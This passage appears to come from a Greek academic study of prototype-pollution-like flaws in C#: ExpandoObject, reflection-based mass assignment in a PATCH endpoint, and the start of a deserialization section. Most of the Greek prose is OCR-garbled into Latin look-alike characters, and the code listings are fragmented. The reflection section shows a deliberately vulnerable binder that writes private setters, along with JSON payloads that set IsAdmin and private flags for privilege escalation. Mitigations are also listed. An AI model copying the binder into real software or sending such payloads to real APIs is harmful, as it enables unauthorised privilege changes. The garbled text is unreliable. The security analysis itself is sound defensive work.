obnynoelL oe aAAoiwon Tou prototype. Ztnv nepintwon tou ExpandoObject, n elcaywyn
SuvapLkou input armo Tov XpRoTtn EMTPETEL TN SnUloupyla VEwV properties mou o developer
Oev €xeL mpoPAEYEL, He amoTéAeopa TNV eloaywyn averBuuntou state. Av n ebapuoyn
Baolotel oe autd ta Sedopéva yla kpilolpeg Asttoupyieg, tote to pollution-like oevdaplo
06nyel o€ MAPOUOLEG CUVETIELEC UE eKELVEG TNG JavaScript: aAAayEg otn AoyLkn
efouolobo6tnong (m.x. eLoaywyn tou mediou isAdmin), apamoincn EMXELPNCLOKWY KOVOVWV
N KoL arnoBnkeuon LOAUCUEVWY SE60UEVWY OE CUCTHUATA. 2TV ouaia, oL properties mou
EL0AYEL O ETUTIOEPEVOC UTTOPOUV VA AELTOUPY 0LV WG gadgets, Ta omola evepyormnolouvral
oe kamolo peténeta sink (m.x. authorization check r database write), petatpénovrog tnv
apxtkn aAAoiwon o mpayuatiky ekpetdAAeuon. H kown Baon kat otig SUo YAwooeg eivatl



otL Sedopéva TTou EpVOUV XwpLlg EAeyX0 Kol PIATPAPLOUO EVOWUOTWVOVTOL 0TO object kat
Snuoupyouv ocuvBnkeg KATAAANAEG yla tnv aAAoiwaon NG pong tng ebappoync. Emiong, pla
TILO YEVLKA OHoLOTNTA Elval TwE 0w To prototype pollution pmopel va mpokaAéoet
Sladopetika mpoPARuata, To 16Lo pmopet va yivel kat pe To ExpandoObject (mass
assighment, DoS, k.a.).

3.1.4.2. AladopéEg

Ze avtiBeon pe tnv JavaScript, 6mou n poAuvon tng prototype chain €xel kaBoAwkr) oL Kot
ennpealel 6Aa ta objects mou potpalovtal To HoAUCHEVO prototype, To ExpandoObject
TEPLOPLIETAL QUOTNPA OTO ETMESO TOU CUYKEKPLUEVOU instance. AUTO OnUALVEL OTL N
HoAuvon Sev e€amAwvetal oe aAAa objects Tou (Stou Tumou, aAAA Slatnpeital povo péca
oTn pon mou xelpiletal to 6o dynamic object. EmumAéov, n dtdpkela eivat mapodikn, Kabwg
TO HoAUCUEVA properties UTIAPXouV LOVo 000 L To object 1 epdoov anobnkeutolv oe
Kamola Bacn, aAAA auTo Sev AmOTEAEL XAPAKTNPLOTIKO TNG YAwooag. H emikivéuvotnta
EMOMEVWG e€opTATAL OE PLEYAAO BaBUO armd Tov TPOTo XPROoNG MOV EMIAEYEL O
TIPOYPAUUATLOTAG (T1.X. av entotpéPel To Lo Expando otov client i av to mpowOriosL o
repository). Etal, to ExpandoObject pollution-like oevaplo ev avadeikvuel aduvapia tng C#
WG YAwooag, dAAA KEVO OTLC TIPAKTIKEG XELPLOROU dynamic SE60UEVWV.

3.1.5. AvTlpeTwron

H aodalng xprion tou ExpandoObject amattel CUYKEKPLUEVA LETPA, WOTE VA ATOTPOTIEL N
gloaywyn Kn €yKupwv properties amo KakoBoulo input. Ot BACLKEG TEXVLKEC AVTLUETWITILONG
nepthappavouv:

1. Anoduyn aueong xpriong tov ExpandoObject o€ user input (mass assignment &
DoS)
Ta 6edopéva TOU TPOEPXOVTAL ATIO EEWTEPLIKEC TINYEC SEV TIPETTEL VAL TIEPVOUV
anevuBeiag oto service wg ExpandoObject. AvtiBeta, eivat mPoTIHOTEPO va yiveTal
mapping o€ strongly-typed DTOs (Data Transfer Objects), ta onoia nepthapBavouv
HOVO Ta eTUTPENTA Ttedia. Me aUTOV ToV TPOTIO ATTOKAELETAL N ELoaywYH auBaipeTwy
properties.

2. ‘EAeyxog ko PAtpapiopa properties (mass assignment)
Mpwv TV nepattépw enetepyaoia, To ExpandoObject Ba mpémel va eAéyxetal pe Baon
whitelist emutpenouevwy properties (.. username, password). KaBe property ektog
whitelist Ba ipenel va amopplntetal 1} va kataypadeToL Yo IEPALTEPW EAEYXO.



Anpoupyia vEwv objects oto service layer (mass assignment)

Ta services mMPEMeL va Kataokeualouv kavolpyla objects (m.x. tumou User) pe
validated &ebopéva, avti va xpnolpomolouv f va eMLoTpédouV TO apxLKO
ExpandoObject. EtoL anodelyetal n Stadoon pn eAeyuévwy properties otnv
UTtOAOLTTN edappoy.

Neploplopévn xprion dynamic tOnwv (mass assignment & DoS)

H xprion tou ExpandoObject kat yevikotepa dynamic types mpémnet va neplopiletal o
TIEPUTTWOELG TPOOWPLVNG enetepyaoiag Sedopévwy, 0w parsing 1) serialization, ka
va anodeUyeTOL O KPLOLUN EMLXELPNOLOKA AoyLKn, OMw¢ authentication 1
authorization.

Unit Tests (mass assignment & DoS)

Tests mou otéAvouv erumAov keys kat Staodalilouv otL Sev aAalouv evaicOnta
nebla.

. Opta oto péyebog twv dedopévwv elcodou (DoS)

Ao tn otyun mou ta Sedopéva eival SUVAHLIKA KAl KATA CUVETIELA AYVWOTO KOTA
v €lcodo, Ba pPmopoloe va MEPLOPLOTEL TO ETUTPENTO HEYEDOC TOUC, £TOL WOTE va
anogeuxBouv neputtwoelg DoS.

. 'EAeyxog schema (DoS)

Mia akopa emhoyn, Ba ntav n umapén evog Middleware mou kAvel éva amAo €Aeyxo
(r.x. schema validation) ota 6edopéva elcddou TpLv Kav mepacouv oto endpoint.

ZuAAoyn Kat avaAluon Twv Http requests (DoS)

Oa mpEmeL va yivetal cwaoth mapakoAouBnon (monitoring) OAwv Twv requests Kal va
unapyouv eldomolnoelg (alerts) oe mepintwon mouv napatnenBet acuvnOloTn Kivnon.

Sandboxing (DoS)

MBavr) ektéAeon o€ EeXWPLOTO KAl ATOUOVWHEVO TIEPLBAAAOV LE CUYKEKPLUEVOUC
TOPOUC av amnalteital enefepyaocia peydAwv apxeiwv pe apdiBolo meplexopevo.
‘ETOL WOTE aKOUA Kal Vo TIPOKUPEL KATIOLO TTPOBANUA, VO LNV EMNPEACEL ANAEG
AELTOUPYLKOTNTEG.

OLmapanavw pEBodol pmopouv va MepLopioouV MOAU TETOLOU €(60UC EMIMTWOELG. OMwG

daivetal otnv nepimtwon Tou mass assignment apkel 0 KAKAUTEPOG EAEYXOG OTNV

ETIXELPNOLAKN AOYLKN KOL VO LNV TIPOXWPAEL TIEPALTEPW N eTeEEpyaOia, av pwTta Sev gival

BéBato otLta dedopéva eivat aodaln. Evw otnv nepintwon tou DoS, og cuvduaouo UE Tio

«TOPASOOLOKES» TEXVIKEG OVTILETWITLONG, OTIWG:



- [MMpootaoia og eninedo diktvou
o Firewall
o MNpootacia péow CDN
- Auto scaling
- NepLopLopog attnuatwy ava IP
- Awoyeiplon mopwv
- K.O.

oL onoieg BonBouv yevikotepa og DoS emBEoeLg, umopoUlv va yivouv eMmpocBeTa Kal ot
TIOLPATIAVW EVEPYELEG TIOU ETILKEVTPWVOVTAL TIEPLOCOTEPO OTNV ETILXELPNOLAKI AOYLKI), OTNV
omola odeiletal To ouykekpluévo eibog DoS emnibeonc.

3.1.6. Juunepdopata

To ExpandoObject otn C# dev dnuioupyel prototype pollution pe tnv idta popdn mou
eudaviletal otn JavaScript, kaBwg dev uTtapxeL prototype chain o eninedo yAwooag mou va
unopet va aAAowwBet kaboAka. Qotdaoo, n duvatotnta SuvapLKn g TPooBnKng properties og
runtime gL0ayeL KLvGUVOUG TTOU UMOPOUV va 08nyroouv o€ mapopoLa mpoBAnuota.

H noAuvon neplopiletal oto eninedo Tou ouykekplpuévou object (instance-level) kat dev
ennpealel kaBoAkd O6Aa ta objects Tou cuoTRuaATog, OMwe cupPaivel otn JavaScript.
MapoAa auTd, oL CUVETELEG UTTOPEL va elval e€loou coPapég edv Ta eLoayopeva properties
xpnotpomnotnBouv og Kplolun AoyLKn, OTIwG 0TOV EAEYXO0 SIKOLWUATWV (TL.X. properties TUTOU
isAdmin) — mepimtwon mass assignment.

ErumtAéov, n amodoxn peyaAwv i moAUuTAokwyv dynamic payloads pmopet va mpokaA£oel
€€avtAnon twv nopwv (DoS) katd to otddlo tou deserialization.

Yuvenwg, to ExpandoObject pumopet va BewpnBet évag miBavog popéag embéocewv TUMOU
“dynamic object pollution”, 6rmtou pn eAeypéva dedopéva aAAolwvouv tn cuunepLdopd TG
edpappoync. H aopaing avamtuén os .NET mpolToBETeL TN Xprion LOXUPA TUTIOTIOLN LEVWV
Sopwv (strong typing), explicit mapping, kat anoduyn tng dueong Stddoong dynamic objects
OTNV EMIXELPNOLOKA AoyLKr. ME TOV TPOTIO AUTO UELWVETAL OUCLACTLKA O KivOuvog
EUPAVIONC AVTIOTOLXWV EUTIAOELWV.



3.2. Reflection

3.2.1. Oplopog

To Reflection amoteAel évav and toug Bactkol HNXaVIoUoUG thg mAatdoppag .NET, péow
TOU omolou mapéxetal n duvatdtnta eMBewWPNONG KAL TPOTOMOLNCONG TUTIWY, LEAWV KoL
HETASESOUEVWV KATA TOV XPOVO EKTEAEONG. H AELTOUPYLKOTNTA QUTH, TIOU TIAPEXETAL LECW
Tou namespace System.Reflection, emutpénel tnv mpdoPacn o properties, media kat
HEBOBOUG, AKOWUN KAl OE TIEPUTTWOELG OTIOU AUTA SeV elval opaTd KECW TOU OTATIKOU
ocuotnuatog tunwv. To Reflection xpnolpomnoleital EUpEwG o€ MEPUTTWOELS OIwWG To model
binding, To auto-mapping objects, kaBwg kat otnv avantuén BLBALOONKwWY TTOU amaltouv
uPnAo6 Babuo sveli€iac. [10], [11]

3.2.2. AuvoTtoTNnTEC Kol XpOELG

OL kUpLeG XpnoeLg Tou Reflection eotialouv:

e TNV autopatn avriotoixon dedopévwy eloddou (m.x. JSON, Ae€ika key-value) oe
objects tumou POCO, Baocesl TaUTIONG OVOUATWY properties.

e JTnv mpooPaocn Kal Tpononoinon properties mou dev gival amapaitnta SnUOOLEG,
Héow TG Xprong BindingFlags.

e JTNV QVATITUEN UNXAVIOUWYV OL oTtoilol mpoacappolovtal o€ SLadOopETIKA OXHATA
bebopévwy xwpic va amatteital n mpdtepn yvwon tng SOUAG TouG.

H mpaktiki auti avéavel tnv eveli€ia twv edapuoywy, EL0AyEL OUWG Kal coBapolg
KlvdUvVouG aopaAelag otav Sev uTApXEL aUOTNPOG EAeyXoC TwV Sedopévwy eL0OSOU.

H npaktikn aflomoinon tou Reflection oe APIs epdaviletal cuxva ota partial updates (m.x.
PATCH) pe petaBAnto payload. Ze autd to oevapla, EMISLWKETOL N EAa)LoTomoinon
enavaAapBavouevou kwdika (boilerplate) péow avtopatonolnpuévng avilotoixiong (name-
based mapping) Twv keys Tou eloepxouevou payload o properties tou object. Epocov n
avtlotoixion Baciletal amoKAELOTIKA OTA OVOUATA, Kal LAALoTa xwpic whitelist | kavoveg
anoppupnc ermumAéov nediwv, kabiotatal epikTh N eLcaywyn KN £€YKupwy n evaicdntwv
properties otnv EMLXELPNOLAKI POI|, LE CUVETIELEG TTOU TtpooopoLldlouV ot state injection.



3.2.3. MoAuvon

MBavn poAuven Ba pnopoloe va UTIAPEEL o€ Tepinmtwon mou yivetal generic reflection, mou

Baoiletal o Sedopéva elc0S0U Ao KATOLOV Xprotn 1} GAAQ CUCTAUATA.

3.2.3.1. PEQALOTIKEG IEPUTTWOELG XPrONG

Karmoleg peaALlOTIKEG TIEPUTTWOELG TIoU Ba urmopouoe va yivetal generic reflection sivat ot

g8ne:

Event ingestion (CloudEvents, message buses)

Y€ poég AnYPng events amno Azure Event Hubs / Service Bus / Kafka kATt pe
SlapopeTiko type, o Event Listener uhomoleital cuxva wg generic handler mou
StaBalet ta CloudEvents attributes (m.x. type, subject) kat ta dynamic data. To
mapping Twv data og ecwTtePLKA POVTEAQ yiveTal hame-based, waote va
Xpnotpomoleitat o (5log kwdikag oe TOAAA SLadOPETIKA OXAHATA, YLa va arodeuxOel
n emoavaiAnn mapoépolou kwdika. Av dev uttapyet whitelist kot epoapuoletal
reflection ota domain models, Snuloupyeital mBavo onueio elcd6dou avenBUUNTWY
nieSlwv.

Webhooks amno tpitoug napoxoug

Mapopola pe ta Events, moAAd cuotrpata dexovtalt Webhooks pe dtddopa payloads
Kal mpoatpeTikd nedia. Evag generic webhook controller anodéxetal peydAn
TIOWKIALQL OXNUATWVY KoL KAVEL map O€ E0WTEPLKEC SoUEG Ue reflection. H avoyn oe
ayvwota nedia, xwpic meploplopol, Umopel va emITpEPEL TNV ELOAYWYN TILWV OE
gvailoBnta properties.

Multi-tenant custom fields

Y& moA\a CRM/ERP/SaaS cuaotrpato UTtdpxeL N avaykn va urntootnpilovrat multi-
tenant custom fields,dnAadn kaBe meAdtng (tenant) va pumopel va opilel Sika Tou
npooBeta nedla mEpa amo ta KOWA ToU €XEL TO cUoTNUA. Zuxvo potifo eivaln
amodoxn Dictionary<string, object> kat n amonelpa auto-binding ota Kowva povtéla.
Av 8ev UTIAPXEL EVOG LNXAVLIOMOG TTou va Slaxwpilel autd ta custom fields tote
uropet va kataAnfouv o MpayUATIKA properties Tou entity.

Endpoints pe dynamic input
Xe APls 6mou umdpxel avaykn yla eveAi€ia, ocuxva untdpxouv endpoints mou d€xovtal
dynamic input avti yia auotnpd tunonownuéva DTOs, m.x.:



o ([FromBody] dynamic input), ([FromBody] ExpandoObject), ([FromBody]
Dictionary<string, object>), ([FromBody] JsonElement/JsonDocument), 1)
JObject (Newtonsoft).

o Avrtiotolya potifa og APls e mapapéTpoug TUMou object, JsonNode K.Am.

e JuoTApata Ke ouxvr aAAayr) CXNHATWY
MoAAEG epapOYEG EXOUV QVAYKN YLaL CUXVH aAAayr oXNUATWV (Tt TPooBrkn mediwv
0€ MOVTEAQ, KATT), KATL TTOU ouvBwg tpolmobEtel véa €kboon TG epappoyng.
MoAAEC PopEg yLa va amodeuxBoUV oL UXVEG VEEG eKEOTELG XpnolpomoLlouvTaL
generic peBOSOL TOU UIMOPOUV VA AELTOUPYICOUV LIE OTIOLOSHTIOTE O AL

Kowvd XopaKTNPLOTIKA TWV TAPANAVW TIEPLIMTWOEWY

e Avaykn yla evehiéia otn Sdlaxeiplon dedopévwy, wote va umootnpilovtal ETepoyevi
N HETaBaAAOpEVA oXAMOTA.

e Xprion generic pnxaviopwyv mou anodéyxovral key-value elod6douc.
e Avtiotoiyion nediwv pe Baon to ovopa, péow Reflection.

e EAAUTAC i avUmopktog éAeyxog (whitelist/validation) kat, o€ oplopéva oevapla,
npoéoBacn oe NonPublic péAn yia Adyoug eukoAiac.

O cuvSUOOUOC AUTWY TWV TIOPAUETPWY SNULOUPYEL Eva amoTEAeoHa TTapOpoLo pe pollution:
gloaywyn avermBupuntng kataotaong (state) og mBavoug oTdXouG. AUTO UImOpEL var £XEL
QUECEC ETUTTWOELG O€ KPLOLWOUG pnXaviopoUg, onwg n eéovcloddtnon, n dpopoAoynon
AELTOUPYLWV N KON Kal N evepyomoinon un npoPfAenopevwy features.

3.2.3.2. Nepypadn oevapiov

Mot HEAETN TNG MBavoTNTaG LOAUVONG eTUAEXONnKe va otnBel endpoint PATCH /users/{id}
yla LEpLKA evnuépwoan podiA xpriotn. To payload amootéAAetal wg Dictionary<string,
object> kat meptAapBavel povo ta nedia mouv alAdalouv. MNa tnv auto-mapping
xpnotuomoleitat Reflection-based binder mou avtiotouyilet properties kata évoua. [12], [13]



MovtéAlo Ovtotntog
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public class

{
public
public
public
public
public
public
public

User

Guid Id { get; set; }

string Username { get; set; } = default!;
string Password { get; set; }

string Email { get; set; } = default!;
string DisplayName { get; set; } = default!;
bool IsAdmin { get; set; } = false;

string Role { get; set; } = "User";

private bool PrivateFeatureEnabled { get; set; } = false;

public

bool PrivateFeatureEnabled2 { get; private set; } = false;

Generic pefodol yia binding ko epappoyr evnuepwoswv

1. /// <summary>
2. /// Takes a dictionary of possible properties and returns a new dictionary containing only
the properties that exist in type T.
/// </summary>
/// <typeparam name="T"></typeparam>
/// <param name="input"></param>
/// <returns></returns>
public static Dictionary<string, object?> BindByName<T>(IDictionary<string, object> input)

VWoOoNGOUVT AW

10.

11.
12.
13.
14.
15.
16.
17.
18.
19.
20.

{

var t

typeof(T);

var flags = BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic |
BindingFlags.IgnoreCase;

// Create a case-insensitive dictionary to hold the results
var result = new Dictionary<string, object?>(StringComparer.OrdinalIgnoreCase);

foreach (var (key, value) in input)

{

p.PropertyType;

21.
22.
23.

var p = t.GetProperty(key, flags);
if (p is null) continue; // skip keys that are not part of the Type

var targetType = Nullable.GetUnderlyingType(p.PropertyType) ??

object? coerced = value;
if (coerced is not null && !targetType.IsInstanceOfType(coerced) &&

targetType != typeof(object))

24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.

}

return

}

try { coerced = Convert.ChangeType(coerced, targetType); }
catch { continue; } // skip invalid conversions

}

// save with the actual property name
result[p.Name] = coerced;

result;

36. /// <summary>

37. /// Takes a source object (typically a dictionary) and applies its properties to the target
object using reflection.

/// </summary>

/// <param name="source"></param>

/// <param name="target"></param>

public static void ApplyToEntity(object source, object target)

38.
39.
40.
41.




42. {

43. var tType = target.GetType();

44. var flags = BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic |
BindingFlags.IgnoreCase; // Include non-public to allow setting private properties

45.

46. if (source is IDictionary<string, object?> dict)

47. {

48. foreach (var (key, value) in dict)

49, {

50. var tProp = tType.GetProperty(key, flags); // Find property on
target by name (case-insensitive)

51. if (tProp is null) continue;

52.

53. var setter = tProp.GetSetMethod(nonPublic: true);

54. if (setter is null) continue;

55.

56. var targetType = Nullable.GetUnderlyingType(tProp.PropertyType) ??
tProp.PropertyType; // Handle nullable types

57.

58. object? coerced = value;

59. // Attempt to convert the value to the target property type if
necessary

60. if (coerced is not null && !targetType.IsInstanceOfType(coerced) &&
targetType != typeof(object))

61.

62. try { coerced = Convert.ChangeType(coerced, targetType);
}

63. catch { continue; }

64. }

65.

66. setter.Invoke(target, new[] { coerced }); // Set the property value
on the target object

67. }

68. return;

69. }

70. }

71.

Endpoint:

1. [HttpPatch("users/{id:guid}")]
2. public async Task<IActionResult> Patch(Guid id, [FromBody] Dictionary<string, object>

userInput)

3. {

4. // Convert the properties that exist only at User model
5. var updates = ReflectionBinder.BindByName<User>(userInput);
6.

7. // Retrieve User from repository

8. var existingUser = await _repo.FindById(id);

9. if (existingUser is null)
10. return NotFound();
11. var entity = existingUser.Value;
12.
13. // Set only the given fields
14. ReflectionBinder.ApplyToEntity(updates, entity);
15.
16. var updatedUser = await _repo.Update(entity);
17. return Ok(updatedUser.Value);
18. }




3.2.3.3. AvaAuTikn Astoupyia Ko EKPETAAAEUON

H eumdBela mpokUTTEL amo tov cuvduacoud duo mapayoviwy: (a) name-based avtiotoixion

Xwpig whitelist kat (B) duvatotnta eyypadng oe NonPublic setters.

Elood0og: To userinput amnoteAel dedopéva ansubeiag amno client.

Dktpaplopa Baocel yvwotou Type: H BindByName<User> Siatpéxetl OAa ta keys tou
userlnput kot Ta avtiotolyilel o properties Tou User, 1000 SnNUOCLEG OO0 KAl UN-
dnuooteg (BindingFlags.Public | NonPublic). Ayvwota keys mou &gv undpyouv oto
HovtéAo tou User ayvoouvtal.

Metatpornr) tunwv: MNa kaBe dvopa property mou TalpLalel, TPAYUATOTOLETOL
npoonadBela Convert.ChangeType mpog tov avtiotolyo PropertyType (r.x. string
"true" = bool true). Amotuyia petatpomnnig odnyel 0To UNXAVIOUO VA TIPOCTIEPACEL
TO OUYKEKPLUEVO key.

Edappoyn evnuepwoswv: H ApplyToEntity() evnuepwvel amoKAELOTIKA Kal LOVO 6oa
nebla emotpadnkav and tnv BindByName(), adprjvovtag iSta Ta umtoAouma UE TIG
OPXLKEG TLUEC TOUG. ETol Staodaliletal peplkd update xwplc amwAsLla tng
npoiUnapyovaoag nAnpodopiag.

Eyypadn o€ NonPublic setters: Kata tnv epappoyn, n ApplyToEntity() xpnowuomnotet
GetSetMethod(true), auto emutpénel Tnv aAlayr private properties mou KavoviKa
bev Ba €npeme va eival dnuociwg mpooBaociua (.. private bool
PrivateFeatureEnabled { get; set; }).

Entiong, To OtL yiveTtal HepLKn EVNUEPWON (KATL TTOU UIMOPEL val YiVEL O ogvApLA TTOU UTTAPXEL

OVAYKN TOU TIEPLOPLOMOU TOU OYKOU TNG Hetadldopevng mAnpodopiag) sival Baoikod

OTOLXELO, KABWC KAVEL OPKETA TILO EVKOAN TNV TBavOTNTA POAUVONG.

3.2.3.4. Napadewypa privilege escalation

uih wnNn R

"DisplayName": "John D.",
"IsAdmin": true

To ouykekpLuévo payload Ba aAldgel Ta properties “DisplayName” kat “IsAdmin”. To

“IsAdmin” koavovika 6€ Ba €mpeTe va pUnopet va aAAaXTEL oo Tov armAo Xpnotn, aAAG OTIWG




dalvetol oTIg EMOMEVEC eKOVEC, Aoyw EAeldnc validation auto ¢ yivetal, pe anotéAeopa
mBavo privilege escalation.

existingUser = _repo.FindById ;
return Na inglser  {PollutiocninCSharp.Models.Result<PollutionlnCSharp.Models.User=}
entity = ex _® Error null

true
ue {PollutionInCSharp.Models.User}

ReflectionBinder.i * DisplayMName null

£ Email null

updatedUSer = ¢ {58be36d4-b52d-4d5b-88e2- 1fcdf2f09d3a)}

return Ok(updated & |spdmin false

A Password o= View = "samplePassword”

g® PrivateFeatureEnabled

A& PrivateFeatureEnabled?

£ Role

_:::.=-"" Username a w = "johndoe”

Figure 8: IsAdmin rpwv kAnYei to Update

{PollutioninCSharp.

null

true

{PollutionIinCSha els.Uzer}

e ] ew * "John D."
null

4-b52d-4d5b-88e2-1fcdf2f09d3a}

5 true
A Password aE View = “samplePassword"
& PrivateFeatureEnabled false
& PrivateFeatureEnabled2 false
% Role 4= View = "User"
& lsername i

Figure 9: IsAdmin ueta to update



1] p:a o=

‘email”: null,
“displayMName"”:
“"isAdmin®:

"role

Figure 10: Http Response

3.2.3.5. Napadelypa aAloiwaong private property

Onwg daivetat oto 3.2.3.2 to User model €xelL To private property “PrivateFeatureEnabled”
KoL To public property “PrivateFeatureEnabled2”, mou €xel Opwg private setter. To deUtepo
property untdpxel kaBapd yia Adyoug emibeléng, emeldn private properties 8¢ yivovtat
deserialize og HTTP responses.

{
"PrivateFeatureEnabled": true,
"PrivateFeatureEnabled2": true

}

uih wnNnpR

To napandvw payload Ba aAAdgel kal ta SUo properties, mapoAo Tou To €va eival private
Kol To AAAO €xel private setter. Auto cupBaivel Adyw tou BindingFlags.NonPublic flag.




/{id "1

Task=<IActionResult> Patch(Guid id, [Freo y] Dic . > userInput)

var updates = ReflectionBinder.BindByName<User>{userInput);

- isti =er {R sult<ReflectionPollution
return NotF O null
entity = ex cCess true
{ReflectionPollution.Models.User}
£ DisplayMame null
ReflectionBinder.

var updatedUser =
return Ok{updated o View = "samplePassword"

PrivateFeatureEnabled2
rle
Username

Figure 11: PrivateFeatureEnabled tiuéc mptv to Update

ReflectionBinder.ApplyToEntity(updates, entity);

= await _repo.Update(entity);
updatedUser {ReflectionPollution.Models.Result<ReflectionPollution.Models.User:> }
null
true
{ReflectionPollution.Models.User}
DisplayMame 0 null 8o
& Ernail null
A |d 158be36d4-b52d-4d5b-88e2- 1fcdf2f09d3a}
lzAdmin false
& Password o= View = "samplePassword"
o PrivateFeatureEnabled true

A PrivateFeatureEnabled? true
£ Role iew = "User"
Username iew * "johndoe"

Figure 12: PrivateFeatureEnabled tiuég ueta to Update

3.2.4. Opowotnteg/Aladopéc pe Prototype Pollution

3.2.4.1. Opolotnteg

To Reflection otn C# powalel pe to prototype pollution w¢ mpog tnv name-based
avtlotoixlon He properties. 2tn JavaScript, To merge evocg JSON object pe kKA£LSLA OTIWC
__proto___ 1 AAAa pe €yKupa properties eMTPENEL TNV aAAolwaon Tou prototype. Itn CH#,
uéow Reflection, éva eloepyouevo dictionary pmopet va avtiotowxnBel oe omoladnnote
property evog object, apkel to dvopa va tatplalel. Etol, Kal ot U0 EPUTTWOELC, O
eTutiOgpevog eAéyxel To KAeldi mou Ba kaBopioel molo property Ba emnpeaotetl. To
anotéAeopa eival state injection, SnAadn aAloiwon kpiowyv properties mou KAvVovika O
Ba énpemne va tpomomnolnBouv (.. Role, IsAdmin, private flags). EmutAéov, umtdpxeL Kowvn
Aoyikn “gadget”: properties ou xpnotuomnolouvtal apyotepa otn por (authorization checks,



feature toggles) AsttoupyoUv cav sinks TTou PHeETATPEMOUV TO injection 0€ MPAYUATIKN
EKUETAAAEUON.

3.2.4.2. Aladopég

H Sladopad evromniletal otn ¢puon tng eumadelag. 2tn JavaScript, to pollution odeiletal otn
yYAwooa, kaBwg n prototype chain ival ouiko otolxelo tou runtime. 2tn C#, n Reflection
HOAuvon gival mpoilov uhomoinong: MPoKUTITEL Lovo otav o developer emutpédel mpdoPaocn
oe NonPublic péAn n mapaleidet whitelist oto binding. EmutAéov, n poAuveon sivat
TIEPLOTACLOKI) KAL TOTILKY, KABwWG eMNPeAlel LOVO TA OVTIKELLEVA TIOU TIEPVOUV ATtO TOV
binder ekeivn tn otypn. Aev Snuoupyet kKaBoAiko state oute alAolwvel TN cupunepLdopa
aMwv instances Tou 8lou tumou. Mia akoun Stadopomnoinon sival n e€aptnon amno flags
(rm.x. BindingFlags.NonPublic), mou kaBlotd tnv eundbela AUECO AMOTEAECHA ETUAOYWV TOU
developer kat 0xt SouLkng Asttoupyiag tng CH#. EMopévwg, o avtiBeon pe Tnv GucLoAOYIKN
Kol «aBwa» cuyxwveuaon objects tng JavaScript, edw amatteital kakr VAomoilnon tou
Reflection, katL mou kaBlotd tnv euntabela o eAeyXopevn aAAd Kal TILo mKivbuvn av
uhomotnBel anpooekta.

3.2.5. Avtipuetwrion

H aodaAng aflonoinon tou Reflection o oevapla evnuepwoewv tpolmoBetel ta akoAouBa
HETPQL:

1. Whitelist/Allow-list ava use case: Na eMUTPENETAL EVNUEPWON LOVO PNTA
kaBoplopévwy properties. KaBe emutAéov key va anoppintetal.

2. Anayopeuon NonPublic writes: Z€ binding pipelines mapaywyng va
xpnotpomnotlouvtal povo BindingFlags.Public | BindingFlags.Instance, pe
GetSetMethod(false). Mn-6nuootiol setters dev mpénel va ival eyypauot.

3. Strongly-typed DTOs: Na opilovtat e€eibikeupéva DTOs ava endpoint/cevaplo,
nepthappavovtag povo ta emntpentd nedia. Ol controllers va petatpénouy to
eloepyouevo payload oe DTO kat va edpappolouv validation mpv anod onoltadnimnote

gyypadn.

4. Immutability/Init-only/Sealed povtéAa: MNa kpiolpueg ovtotnteg, xprion init-only
properties ) constructors pe validation kat anoguyn public setters.

5. Awoaxwplopog Sikalwpatwyv Kot endpoints: MetaBolég o Role, ISAdmin 1] dAAa
evaioBbnta nedia va mpayUaTonoloUvTaL AMOKAELOTIKA LECW endpoints e auotnpn
auBevtikonoinon/s€ovalodotnon.



6. EAeyktég tunmwv/Tipwv (validators): Antoduyn yevikeupévou ChangeType xwpig
eAéyxouc. Xprion validators ava property (format, ranges, cross-field checks).

7. Testing aocdaleiag: Unit/Integration tests mou emiBeBatwvouy (a) andppudn extra
keys, (B) aduvauia eyypadng oe NonPublic setters, (y) un tpomomnoinon evaiocOntwv
nedlwv péow dnuooiwv PATCH.

3.2.6. Jupumepaopota

To Reflection, av kat lSlaitepa xpriolo yla Tnv eveAtéia twv epappoywy, duvartal va
amoteAéael mnyn yla pollution-like aAAolwon kaTAoTAoNG OTAV XPNOLUOTIOLE(TAL YLIot name-
based auto-binding xwplg pnToUg meploplopoUg Kat, W6iwg, OTav emtpénetal eyypadn o
NonPublic setters. H uto8£tnon whitelist, DTOs, anayopeuon NonPublic writes, immutability
0€ KPLOLWECG OVTOTNTEG KAl cuoTnUaTIKWy validators/tests amotelel ovowwdn mpoumobeon
yla tnv aopolr evowpdtwon tou Reflection og poég evnuépwong dedopévwy.



3.3. Deserialization

3.3.1. Oplopog

Deserialization ivatl n petatponr) dedopévwy amno osiplakn popdn (JSON, XML, binary
K.ATL.) o€ objects (classes, collections, structs). £to .NET autr n evépyela mpayaTOMOLETAL
amno serializers (m.x. System.Text.Json, Newtonsoft.Json, XmlSerializer,
DataContractSerializer). [14], [15], [16]

H évvola mpoépyxetal amnd 1o serialization, 6nAadn tn dtadikaoio petatpomnng evog object oe
oElplOKn avamnapdotaon (string, byte stream) wote:

e vo anoBnkeutel og apxeio i Baocn Sedouévwy,
e vo petadoBel péow Siktvou,
e 1 va avtal\axBel petafd SladopeTIKWY CUCTNUATWY / YAWOOWV.

To deserialization eival o avtiotpodo: maipvel autr tn oelplakn popdn kat Eavadtiayvel To
object pe tnv (6la Soun, properties kal TIUEG, £TOL WOTE VO UMOPEL va XpnotomnotnBel cav
KQVOVIKO object péoa oto mpoypapaL.

To deserialization eival kplowun dtadikacia ylati, av o kwdikag dextel kakoBouAa dedopéva:
e umopei va mpokU el data corruption,

e N aKkOpO XELPOTEPQ, remote code execution (m.X. péow insecure deserialization
attacks).

N’ avto:
e Xpnowomnolovvrtal mavta safe serializers (my System.Text.Json avti yia binary

formatters).

e [lvetal sanitization ota data mou €pxovtal anod eEWTEPLKEG TINYEC.

3.3.2. XapaKTnpLloTIKA Kal Zuprnepidopd

e Mapping: H tadikacia Baoiletal otn xaptoypadnon twv ototxeiwv (r.x. JSON keys,
XML tags) mavw ota properties ¢ KAAonc. H avtiotoiylon yivetal BAcEL ovoudTwy.

e Default Values: Av v umtapyel avtiotoixlon, To property malpVeL TNV TIPOETUAEYUEVN
T (null ywa reference types, 0 yia int, false yia bool).

e Extra Data: Av 1o serialized string mepléxel mapanavw dedopéva, autd cuvnBwg
oyvoouVvTal EKTOC av o serializer €xel puBbuLotel va ta Bewpnoel wg obAaApua.



e Binding: lvetal Baoel Tou TUMOU OV apEXeTaL otn LEBodo (Deserialize<T>()). Auto
onuaivel 6tL to deserialization eival strongly-typed oe C#.

e Format-specific rules: Ol kavoveg parsing e€aptwvtat anod 1o format (JSON vs XML vs
Binary).

3.3.3. MoAuvon

H nuoAuvon oto insecure deserialization &gv eival to i6lo e to prototype pollution. Edw o
